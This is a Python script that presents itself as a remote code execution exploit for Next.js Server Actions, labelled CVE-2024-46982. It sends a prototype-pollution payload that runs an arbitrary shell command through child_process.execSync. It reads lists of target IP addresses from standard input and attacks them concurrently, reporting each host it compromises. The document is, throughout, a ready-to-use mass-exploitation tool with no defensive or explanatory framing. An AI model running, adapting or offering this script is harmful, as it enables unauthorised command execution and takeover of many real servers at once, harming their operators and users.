import argparse
import json
import re
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed

import requests

command = ""
HTTP_OK = 200


def exploit_target(ip: str, cmd: str, timeout: int = 5) -> dict[str, str]:
    """Exploit a single target with Next.js prototype pollution RCE"""
    headers = {"Next-Action": "x"}

    payload = {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": '{"then": "$B0"}',
        "_response": {
            "_prefix": f"var res = process.mainModule.require('child_process').execSync('{cmd}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
            "_formData": {
                "get": "$1:constructor:constructor",
            },
        },
    }

    files = {
        "0": (None, json.dumps(payload)),
        "1": (None, '"$@0"'),
    }

    url = f"http://{ip}:3000/"

    try:
        r = requests.post(url, files=files, headers=headers, timeout=timeout)

        if r.status_code == HTTP_OK:
            # Extract command output from error digest
            match = re.search(r'digest:\s*"([^"]*)"', r.text)
            if match:
                output = match.group(1)
                return {"ip": ip, "status": "exploited", "output": output}
            return {"ip": ip, "status": "exploited", "output": "Command executed but no output captured"}
        else:
            return {"ip": ip, "status": "failed", "error": f"HTTP {r.status_code}"}

    except requests.exceptions.Timeout:
        return {"ip": ip, "status": "timeout", "error": "Connection timed out"}
    except requests.exceptions.ConnectionError:
        return {"ip": ip, "status": "unreachable", "error": "Connection refused"}
    except Exception as e:
        return {"ip": ip, "status": "error", "error": str(e)}


def main() -> None:
    parser = argparse.ArgumentParser(
        description="Next.js Server Actions prototype pollution RCE exploit (CVE-2024-46982)",
    )
    parser.add_argument(
        "-c", "--command",
        required=True,
        help="Command to execute on target",
    )
    parser.add_argument(
        "-t", "--threads",
        type=int,
        default=10,
        help="Number of concurrent threads (default: 10)",
    )
    parser.add_argument(
        "--timeout",
        type=int,
        default=5,
        help="Request timeout in seconds (default: 5)",
    )

    args = parser.parse_args()

    # Read targets from stdin
    targets = []
    for line in sys.stdin:
        ip = line.strip()
        if ip:
            targets.append(ip)

    if not targets:
        print("[!] No targets provided via stdin", file=sys.stderr)
        sys.exit(1)

    print(f"[*] Loaded {len(targets)} targets")
    print(f"[*] Command: {args.command}")
    print(f"[*] Threads: {args.threads}\n")

    # Exploit targets concurrently
    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        futures = {
            executor.submit(exploit_target, ip, args.command, args.timeout): ip
            for ip in targets
        }

        for future in as_completed(futures):
            result = future.result()

            if result["status"] == "exploited":
                print(f"[+] {result['ip']} - EXPLOITED")
                if result.get("output"):
                    print(f"    Output: {result['output']}")
            elif result["status"] == "timeout":
                print(f"[-] {result['ip']} - TIMEOUT")
            elif result["status"] == "unreachable":
                print(f"[-] {result['ip']} - UNREACHABLE")
            else:
                print(f"[-] {result['ip']} - {result.get('error', 'Unknown error')}")


if __name__ == "__main__":
    main()
